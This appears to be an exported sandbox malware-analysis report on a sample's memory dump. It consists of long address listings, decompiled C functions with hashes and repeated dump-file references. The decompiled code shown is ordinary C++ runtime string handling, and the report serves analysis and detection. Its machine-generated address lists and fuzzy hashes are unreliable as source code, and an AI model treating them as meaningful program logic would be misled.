0x00421750
0x00421752
0x00421755
0x00421755
0x00421755
0x00421750
0x00421758
0x0042175c
0x00421760
0x00421764
0x00421775
0x00421778
0x0042177e
0x00421786
0x0042178b
0x0042178b
0x0042178e
0x00421790
0x00000000
0x00000000
0x00000000
0x00421766
0x00421766
0x0042176c
0x0042176f
0x00000000
0x00000000
0x00000000
0x0042176f
0x00421764
0x00421868
0x00421868
0x00421873
0x0042187a
0x0042187f
0x00421882
0x00421884
0x00000000
0x00000000
0x0042188a
0x0042188d
0x00421890
0x00421bbf
0x00421bbf
0x00421bc2
0x00421bc4
0x00421c9d
0x00000000
0x00421c9d
0x00421bca
0x00421bcc
0x00000000
0x00000000
0x00421bd2
0x00421896
0x00421898
0x004218a2
0x004218a5
0x004218a9
0x004218ae
0x00000000
0x004218ae
0x00420f53
0x00420f57
0x00420f5a
0x00421470
0x00421473
0x00420f60
0x00420f60
0x00420f63
0x00420f63
0x00420f66
0x00420f70
0x00420f70
0x00420f74
0x00420f78
0x00420f81
0x00420f81
0x00420f83
0x00420f85
0x004215d0
0x004215d3
0x004215d6
0x00421b1e
0x00421b26
0x00421b29
0x00421b2e
0x004215dc
0x004215dc
0x004215dc
0x00420f8b
0x00420f8b
0x00420f8b
0x00420f8f
0x00420f92
0x00420f96
0x00420f99
0x00420f9b
0x00000000
0x00000000
0x00420f9d
0x00420f9f
0x00421438
0x0042143b
0x0042143e
0x00421441
0x0042144d
0x00421450
0x00421453
0x00421456
0x00421458
0x00421460
0x00421464
0x00421464
0x00420fa7
0x00420fad
0x00420faf
0x00421698
0x0042169e
0x004216a0
0x00000000
0x00000000
0x004216a6
0x004216aa
0x00000000
0x00000000
0x00000000
0x004216aa
0x00420fb7
0x00420fb9
0x00000000
0x00000000
0x00420fbf
0x00420fc1
0x00420fc7
0x00420fc7
0x00420fca
0x004215e8
0x004215eb
0x004215ee
0x00421b3d
0x00421b41
0x00421b44
0x00000000
0x00421b44
0x004215f4
0x004215fb
0x004215fd
0x00420fe8
0x00420fe8
0x00420fe8
0x00420feb
0x00420fee
0x00420fee
0x00420ff5
0x00000000
0x00420ff5
0x00421603
0x00000000
0x00421603
0x00420fd0
0x00420fd0
0x00420fd3
0x00420fd6
0x00000000
0x00000000
0x00420fdc
0x00420fdf
0x00420fe2
0x0042168c
0x00000000
0x0042168c
0x00000000
0x00420fe2
0x00420fa5
0x00420fa5
0x00420fa5
0x00000000
0x00420fa5
0x00420f70
0x00421124
0x00421124
0x00421126
0x00421132
0x00421132
0x00421135
0x00421135
0x0042113b
0x0042113e
0x00421142
0x00421145
0x00421149
0x00000000
0x00000000
0x0042114f
0x00421152
0x00421155
0x00421cc4
0x00421cc6
0x00421cc8
0x00421161
0x00421161
0x00421168
0x00000000
0x00421168
0x0042115b
0x0042115b
0x0042115b
0x0042115e
0x00000000
0x0042115e
0x00421128
0x0042112a
0x0042112c
0x00421bf4
0x00421bf7
0x00421bfa
0x00421cef
0x00421cf1
0x00421cf3
0x00421cf6
0x00421cf8
0x00421cfb
0x00000000
0x00421cfb
0x00421c00
0x00421c06
0x00421c09
0x00421c0c
0x00421c10
0x00000000
0x00000000
0x00421c16
0x00000000
0x00421c16
0x00000000
0x0042112c
0x00000000
0x00421178
0x0042117b
0x0042117f
0x00421500
0x00421500
0x00421503
0x00421503
0x00421505
0x00421508
0x00421510
0x00421510
0x00421514
0x00421518
0x0042151a
0x0042151e
0x00421521
0x00421521
0x00421523
0x00421525
0x00421610
0x00421613
0x00421616
0x00421b7a
0x00421b7c
0x00421b7e
0x00421b81
0x00421b84
0x00421b89
0x00421b8c
0x00421b91
0x0042161c
0x0042161c
0x0042161c
0x0042152b
0x0042152b
0x0042152b
0x0042152f
0x00421532
0x00421536
0x00421539
0x0042153b
0x00000000
0x00000000
0x0042153d
0x0042153d
0x0042153f
0x004215a0
0x004215a3
0x004215a6
0x004215a9
0x004215ab
0x004215ad
0x004215af
0x004215b1
0x004215b4
0x004215b7
0x004215ba
0x004215bc
0x004215c4
0x004215c8
0x004215c8
0x00421543
0x00421543
0x00421549
0x0042154b
0x004217e8
0x004217e8
0x004217ee
0x004217f0
0x00421650
0x00421650
0x00421652
0x00000000
0x00000000
0x00421658
0x0042165b
0x0042165e
0x00421661
0x00421664
0x00421667
0x0042166a
0x00000000
0x0042166a
0x00000000
0x004217f0
0x00421551
0x00421553
0x00421555
0x00000000
0x00000000
0x0042155b
0x0042155d
0x00421569
0x00421569
0x0042156c
0x0042156c
0x0042156f
0x00421572
0x00421575
0x00000000
0x00000000
0x0042157b
0x0042157e
0x00421581
0x004217d8
0x004217da
0x004217dc
0x0042158d
0x0042158d
0x00421594
0x00421510
0x00421514
0x00421518
0x0042151a
0x0042151e
0x00421521
0x00421521
0x00421523
0x00421525
0x00421610
0x00421613
0x00421616
0x00421b7a
0x00421b7c
0x00421b7e
0x00421b81
0x00421b84
0x00421b89
0x00421b8c
0x00421b91
0x0042161c
0x0042161c
0x0042161c
0x0042152b
0x0042152b
0x0042152b
0x0042152f
0x00421532
0x00421536
0x00421539
0x0042153b
0x00000000
0x00000000
0x0042153b
0x00421587
0x00421587
0x00421587
0x0042158a
0x00000000
0x0042158a
0x0042155f
0x00421563
0x00421628
0x0042162b
0x0042162e
0x00421be0
0x00421be2
0x00421be4
0x00421be7
0x00421be9
0x00421bec
0x00000000
0x00421bec
0x00421634
0x00421637
0x0042163a
0x0042163e
0x00421640
0x00000000
0x00000000
0x00000000
0x00421640
0x00000000
0x00421563
0x00421541
0x00421541
0x00421541
0x00000000
0x00421541
0x00421510
0x00421185
0x0042118c
0x00000000
0x00000000
0x00421192
0x00421195
0x00421197
0x00000000
0x00000000
0x0042119d
0x004211a0
0x004214e9
0x004214ed
0x00000000
0x00000000
0x004214ef
0x004214f3
0x00000000
0x00000000
0x004214f5
0x004214f9
0x004211ce
0x004211ce
0x00000000
0x004211ce
0x00000000
0x004214f9
0x004211a6
0x004211aa
0x004211ae
0x00000000
0x00000000
0x004211b4
0x004211b8
0x004211ba
0x00000000
0x00000000
0x004211c0
0x004211c2
0x00000000
0x00000000
0x004211c4
0x004211c8
0x00000000
0x00000000
0x00000000
0x00000000
0x00421090
0x00421093
0x00421096
0x00421098
0x00421480
0x00421484
0x00421487
0x00421489
0x0042148b
0x0042148e
0x00421490
0x00421490
0x00421492
0x00421494
0x00421b99
0x00421b9c
0x00421b9f
0x00421d03
0x00421d05
0x00421d07
0x00421d0a
0x00421d0d
0x00421d12
0x00421d15
0x00421d1a
0x00421ba5
0x00421ba5
0x00421ba5
0x0042149a
0x0042149a
0x0042149a
0x0042149c
0x0042149f
0x004214a3
0x004214a6
0x004214a8
0x004214ab
0x004214ab
0x004214ad
0x004214b0
0x00421c2c
0x00421c2f
0x00421c31
0x00421c34
0x00421c37
0x00421c3d
0x00421c3f
0x00421c42
0x00421c46
0x00421c4e
0x00421c56
0x00421c5a
0x00421c5a
0x00421c37
0x004214b6
0x004214b8
0x004214ba
0x00421a63
0x00421a65
0x00421a7e
0x00421a7e
0x00421a82
0x00421a82
0x00421a85
0x00421a88
0x00421a8a
0x00000000
0x00000000
0x00421a90
0x00421a93
0x00421a95
0x00421a98
0x00421a9e
0x00421aa3
0x00000000
0x00421aa3
0x00421a67
0x00421a69
0x00421a6b
0x00000000
0x00000000
0x00421a6d
0x00421a70
0x00421a73
0x00421d41
0x00421d43
0x00421d45
0x00421d48
0x00421d4b
0x00421d50
0x00421d53
0x00421d58
0x00421a79
0x00421a79
0x00421a79
0x00000000
0x004214c0
0x004214c0
0x004214c0
0x004214c3
0x004214c6
0x004214c8
0x00421800
0x00421800
0x00421804
0x00421807
0x00421809
0x0042180b
0x0042180e
0x00421810
0x00421810
0x00421812
0x00421814
0x00421bac
0x00421baf
0x00421bb2
0x00421cd0
0x00421cd2
0x00421cd4
0x00421cd7
0x00421cda
0x00421cdf
0x00421ce2
0x00421ce7
0x00421bb8
0x00421bb8
0x00421bb8
0x0042181a
0x0042181a
0x0042181a
0x0042181c
0x0042181f
0x00421823
0x00421826
0x00421828
0x0042182b
0x0042182b
0x0042182d
0x00421830
0x00421c62
0x00421c65
0x00421c67
0x00421c6a
0x00421c6d
0x00421c73
0x00421c75
0x00421c77
0x00421c7a
0x00421c7e
0x00421c86
0x00421c89
0x00421c8e
0x00421c92
0x00421c92
0x00421c6d
0x00421836
0x00421838
0x0042183a
0x00421aaf
0x00421ab1
0x00421aca
0x00421aca
0x00421ace
0x00421ace
0x00421ad1
0x00421ad4
0x00421ad6
0x00000000
0x00000000
0x00421adc
0x00421adf
0x00421ae1
0x00421ae4
0x00421aea
0x00421aef
0x00421af6
0x00421afa
0x00000000
0x00421afa
0x00421ab3
0x00421ab5
0x00421ab7
0x00000000
0x00000000
0x00421ab9
0x00421abc
0x00421abf
0x00421d22
0x00421d24
0x00421d26
0x00421d29
0x00421d2c
0x00421d31
0x00421d34
0x00421d39
0x00421ac5
0x00421ac5
0x00421ac5
0x00000000
0x00421840
0x00421840
0x00421840
0x00421843
0x00421846
0x00421848
0x004210ac
0x004210ac
0x004210b0
0x004210b0
0x004210b3
0x00000000
0x004210b3
0x0042184e
0x00421851
0x00421854
0x00421856
0x00000000
0x00000000
0x004214dc
0x004214dc
0x004214e0
0x00000000
0x004214e0
0x0042183a
0x004214ce
0x004214d1
0x004214d4
0x004214d6
0x00000000
0x00000000
0x00000000
0x004214d6
0x004214ba
0x0042109e
0x004210a1
0x004210a4
0x004210a6
0x00000000
0x00000000
0x00000000
0x00000000
0x00420e20
0x00420e24
0x00420e29
0x00420e30
0x00420e32
0x00420e34
0x00421308
0x0042130b
0x0042130e
0x004218c7
0x004218cf
0x004218d2
0x004218d7
0x00421314
0x00421314
0x00421314
0x00420e3a
0x00420e3a
0x00420e3a
0x00420e3c
0x00420e43
0x00420e4b
0x00420e4d
0x00420e50
0x00000000
0x00000000
0x00420e56
0x00420e5a
0x00421280
0x00421283
0x00421287
0x00421289
0x004210b6
0x004210b6
0x004210ba
0x004210bd
0x004210c0
0x00000000
0x00000000
0x00000000
0x004210c0
0x0042128f
0x0042128f
0x00421293
0x00421293
0x00421293
0x00421297
0x00421297
0x0042129a
0x0042129d
0x004212a2
0x004212a2
0x004212a5
0x004212a7
0x004217a0
0x004217a0
0x004217a4
0x004217a7
0x004217aa
0x004217b9
0x004217be
0x004217c1
0x004217c4
0x004217c9
0x004217c9
0x004217aa
0x004212ad
0x004212b0
0x004212b4
0x004212b7
0x004212b9
0x004212bb
0x004212bd
0x004219b0
0x004219b3
0x004219b8
0x004219bb
0x004219c5
0x004219c8
0x004219cb
0x004219cb
0x004219bb
0x004212bd
0x004212c3
0x004212c6
0x004212c8
0x004212cb
0x004212cb
0x004212cb
0x004212ce
0x004212d4
0x004212d6
0x004212d8
0x004212db
0x004212db
0x004212e0
0x004212e6
0x004212e8
0x004212ea
0x004212ed
0x004212ed
0x004212fe
0x004212fe
0x00420e60
0x00420e62
0x00421320
0x00421323
0x00421326
0x004218e4
0x004218e7
0x004218ef
0x004218f7
0x0042132c
0x0042132c
0x0042132c
0x00420e6e
0x00420e6e
0x00420e6e
0x00420e89
0x00420e90
0x00420dc3
0x00420dc9
0x00420dd5
0x00420dd5
0x00420dd8
0x00420ddb
0x00420de0
0x00421370
0x00420de6
0x00420de6
0x00420de6
0x00420deb
0x004211e0
0x004211eb
0x004211f3
0x004211fb
0x004211fe
0x00421203
0x00421206
0x00421206
0x00420df5
0x00420df9
0x00420dff
0x00420e02
0x00420e07
0x00420e07
0x00420e0d
0x00420f1d
0x00420f21
0x00420e19
0x00420e19
0x00420e24
0x00420e29
0x00420e30
0x00420e32
0x00420e34
0x00421308
0x0042130b
0x0042130e
0x004218c7
0x004218cf
0x004218d2
0x004218d7
0x00421314
0x00421314
0x00421314
0x00420e3a
0x00420e3a
0x00420e3a
0x00420e3c
0x00420e43
0x00420e4b
0x00420e4d
0x00420e50
0x00000000
0x00000000
0x00420e50
0x00420e13
0x00420e13
0x00420e16
0x00000000
0x00420e16
0x00420e96
0x00420e9e
0x00421210
0x00421214
0x00421380
0x00421384
0x00421387
0x0042138a
0x0042138c
0x00000000
0x00000000
0x00000000
0x00421392
0x0042121d
0x0042121f
0x00000000
0x00421221
0x00421224
0x00421228
0x0042122f
0x00000000
0x0042122f
0x0042121f
0x00420ea4
0x00420ea7
0x00420eab
0x00420eb0
0x00000000
0x00000000
0x00420ebb
0x00000000
0x00000000
0x00420ec5
0x00000000
0x00000000
0x00420ecb
0x00420ed0
0x00421a3b
0x00000000
0x00421a3b
0x00420ed6
0x00420ed9
0x00420edf
0x00420ee2
0x00420ee2
0x00420ee7
0x004213a0
0x00420eed
0x00420eed
0x00420eed
0x00420ef2
0x00421338
0x00421343
0x0042134b
0x00421353
0x00421356
0x0042135b
0x0042135e
0x0042135e
0x00420efc
0x00420f03
0x00420f09
0x00420f0c
0x00420f11
0x00420f17
0x00000000
0x00000000
0x00000000
0x00000000
0x00421240
0x00421240
0x00421243
0x00421248
0x0042124b
0x00000000
0x00000000
0x0042125a
0x00421264
0x0042126c
0x00421270
0x00421273
0x00421275
0x00000000
0x00000000
0x00000000
0x00000000
0x00421275
0x00000000
0x00420db3
0x004217f6
0x004217f6
0x00000000
0x004210c2
0x004210c2
0x004210c2
0x004210cc
0x004210cc
0x004210d6
0x00000000

Strings

-, xrefs: 004216BE

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: bb18c29352f446a502eba6fe21ce4abbe121413d4d7b575cbae0870c9af3d369
Instruction ID: b0faf4c236f1a5837dcfc4fdbfa527a59005dd2be82cb1daa6479ee5bff981f5
Opcode Fuzzy Hash: bb18c29352f446a502eba6fe21ce4abbe121413d4d7b575cbae0870c9af3d369
Instruction Fuzzy Hash: ECA2AF30B042648FDF10CF68D58079DBBF2AF55310FA886AAD855AB3A2D738DC85CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00458BF0 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E00458BF0(void* __ebx, void* __edi, void* __esi, void* __ebp, signed char* _a4, intOrPtr _a8, char* _a12) {
				char* _v36;
				signed char* _v40;
				char** _t14;
				intOrPtr _t21;
				char* _t22;
				void* _t24;
				void* _t25;
				signed char* _t27;
				char** _t30;
				char* _t33;
				void* _t35;
				char** _t36;

				_t32 = __ebp;
				_push(__ebp);
				_push(__edi);
				_push(__ebx);
				_t36 = _t35 - 0x1c;
				_t21 = _a8;
				_t27 = _a4;
				if(_t21 == 0 || _t27 != 0) {
					_t22 = _t21 - _t27;
					_v40 = 0;
					 *_t36 = _t22;
					_v36 = _a12;
					_t14 = E00459190(_t22, _t24, _t27, _t32);
					_t30 = _t14;
					_t6 =  &(_t14[3]); // 0xc
					_t33 = _t6;
					if(_t22 == 1) {
						_t30[3] =  *_t27 & 0x000000ff;
					} else {
						if(_t22 != 0) {
							_v36 = _t22;
							_v40 = _t27;
							 *_t36 = _t33;
							memcpy(??, ??, ??);
						}
					}
					_t30[2] = 0;
					 *_t30 = _t22;
					 *((char*)(_t30 +  &(_t22[0xc]))) = 0;
					return _t33;
				} else {
					 *_t36 = "basic_string::_S_construct null not valid";
					L004996C0(_t25, _t27);
					return 0x4c5050;
				}
			}

0x00458bf0
0x00458bf0
0x00458bf1
0x00458bf3
0x00458bf4
0x00458bf7
0x00458bfb
0x00458c01
0x00458c0b
0x00458c0d
0x00458c15
0x00458c18
0x00458c1c
0x00458c21
0x00458c23
0x00458c23
0x00458c29
0x00458c6b
0x00458c2b
0x00458c2d
0x00458c50
0x00458c54
0x00458c58
0x00458c5b
0x00458c5b
0x00458c2d
0x00458c2f
0x00458c38
0x00458c3a
0x00458c46
0x00458c70
0x00458c70
0x00458c77
0x00458c85
0x00458c85

Strings

basic_string::_S_construct null not valid, xrefs: 00458C70

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: basic_string::_S_construct null not valid
API String ID: 0-290684606
Opcode ID: 9b501039a3d1f63eb328e6f8c58515b28321c2bcae5d25253f36ef715b99f183
Instruction ID: dcbc0c2ee0bac1def7ba834720e901ea5141608fc5383319eb2c6111687c05d9
Opcode Fuzzy Hash: 9b501039a3d1f63eb328e6f8c58515b28321c2bcae5d25253f36ef715b99f183
Instruction Fuzzy Hash: C1015E715093409BC7116F6A808462BFFE4EF91355F95982EE8C997312CB39D848CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 004127F0 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 28%

			E004127F0(void* __ebx, intOrPtr* __ecx, void* __edi, void* __esi, void* __ebp, intOrPtr _a4) {
				intOrPtr _v24;
				signed int _t16;
				intOrPtr* _t21;
				void* _t25;
				char* _t28;
				void* _t31;
				char** _t32;

				_t23 = __ecx;
				_t32 = _t31 - 0x14;
				_t28 =  *( *((intOrPtr*)(_a4 + 8)) + 0x18);
				 *__ecx = __ecx + 8;
				if(_t28 == 0) {
					 *_t32 = "basic_string: construction from null is not valid";
					L004996C0(_t25, __edi);
					return  *((intOrPtr*)( *((intOrPtr*)(_t23 + 8)) + 0x30));
				} else {
					 *_t32 = _t28;
					_t21 = __ecx;
					_t16 = wcslen(??);
					 *_t32 = _t28;
					_v24 = _t28 + _t16 * 2;
					E00486AA0(_t21);
					return _t21;
				}
			}

0x004127f0
0x004127f2
0x004127fc
0x00412802
0x00412806
0x00412830
0x00412837
0x00412846
0x00412808
0x00412808
0x0041280b
0x0041280d
0x00412812
0x0041281a
0x0041281e
0x0041282d
0x0041282d

APIs

wcslen.MSVCRT ref: 0041280D

Strings

basic_string: construction from null is not valid, xrefs: 00412830

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: wcslen
String ID: basic_string: construction from null is not valid
API String ID: 4088430540-2991274800
Opcode ID: 12b4eb768106393104366aeaab45fcdf585ec3fceb9999c450b509333fed5d4c
Instruction ID: b09bc24767435af01b5b2da6a96f2c3a2f827470a98f4f1a8c5f60745c6bcb52
Opcode Fuzzy Hash: 12b4eb768106393104366aeaab45fcdf585ec3fceb9999c450b509333fed5d4c
Instruction Fuzzy Hash: 86F05EB19152148BCB00FF2CC18085AB7F4BF45314F4648AEE8C4AB312E635EC85CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00412BE0 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 28%

			E00412BE0(void* __ebx, intOrPtr* __ecx, void* __edi, void* __esi, void* __ebp, intOrPtr _a4) {
				intOrPtr _v24;
				signed int _t16;
				intOrPtr* _t21;
				void* _t25;
				char* _t28;
				void* _t31;
				char** _t32;

				_t23 = __ecx;
				_t32 = _t31 - 0x14;
				_t28 =  *( *((intOrPtr*)(_a4 + 8)) + 0x18);
				 *__ecx = __ecx + 8;
				if(_t28 == 0) {
					 *_t32 = "basic_string: construction from null is not valid";
					L004996C0(_t25, __edi);
					return  *((intOrPtr*)( *((intOrPtr*)(_t23 + 8)) + 0x30));
				} else {
					 *_t32 = _t28;
					_t21 = __ecx;
					_t16 = wcslen(??);
					 *_t32 = _t28;
					_v24 = _t28 + _t16 * 2;
					E00486AA0(_t21);
					return _t21;
				}
			}

0x00412be0
0x00412be2
0x00412bec
0x00412bf2
0x00412bf6
0x00412c20
0x00412c27
0x00412c36
0x00412bf8
0x00412bf8
0x00412bfb
0x00412bfd
0x00412c02
0x00412c0a
0x00412c0e
0x00412c1d
0x00412c1d

APIs

wcslen.MSVCRT ref: 00412BFD

Strings

basic_string: construction from null is not valid, xrefs: 00412C20

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: wcslen
String ID: basic_string: construction from null is not valid
API String ID: 4088430540-2991274800
Opcode ID: 12b4eb768106393104366aeaab45fcdf585ec3fceb9999c450b509333fed5d4c
Instruction ID: 616009b2ae52feb1be40ca0f17aeec3ea0ea7bfbbb2fbb93f8a73d4d82c99a43
Opcode Fuzzy Hash: 12b4eb768106393104366aeaab45fcdf585ec3fceb9999c450b509333fed5d4c
Instruction Fuzzy Hash: 54F05EB19152148BCB00FF2CC08085AB7F4BF55314F0648AEE8C4AB312E635EC85CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0040A580 Relevance: 2.5, Strings: 2, Instructions: 42COMMON

Download Yara Rule

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 0040A5E0
basic_string::substr, xrefs: 0040A5D8

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::substr
API String ID: 0-3532027576
Opcode ID: 9a285be1c475755fdf582a9aad6044da7ce27dff06fac3fb9dfc574f4d526b10
Instruction ID: 6fb94e79ff427031213b19835ecdc38dc1a3809f2928874465b9fcd675a50f93
Opcode Fuzzy Hash: 9a285be1c475755fdf582a9aad6044da7ce27dff06fac3fb9dfc574f4d526b10
Instruction Fuzzy Hash: 30014BB560A300AFC744DF29D884A5AFBE0ABC9350F00D96EF488D7300C338D841CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 00414740 Relevance: 2.5, Strings: 2, Instructions: 42COMMON

Download Yara Rule

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 004147A0
basic_string::substr, xrefs: 00414798

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::substr
API String ID: 0-3532027576
Opcode ID: 3945f08f250e2ac5e2f82086c45497f35fea87721076a3720afb0c26f4a45338
Instruction ID: ddd48796938c7a02befabe8de15a973eb2059614f327c60b4fb2b1de685aee26
Opcode Fuzzy Hash: 3945f08f250e2ac5e2f82086c45497f35fea87721076a3720afb0c26f4a45338
Instruction Fuzzy Hash: B4017CB16183009FCB04EF2DD48491AFBE5BBC9318F5088AEE08897241D735D945CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 0042A07E Relevance: 2.1, APIs: 1, Instructions: 811COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c1db6980f11cc79a9536145d51c36491c06b3b00de38f53e24081e8d2f91dda
Instruction ID: bd2741a3dcee78cacf475145edb6c10c0d49b6c0485701c327d4170d6b14d5f2
Opcode Fuzzy Hash: 8c1db6980f11cc79a9536145d51c36491c06b3b00de38f53e24081e8d2f91dda
Instruction Fuzzy Hash: 3772A070B042A8CFCB10CFA8D4847AEBBF1BF55310F54865AD895AB391D3389C55CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 004287BE Relevance: 2.1, APIs: 1, Instructions: 811COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
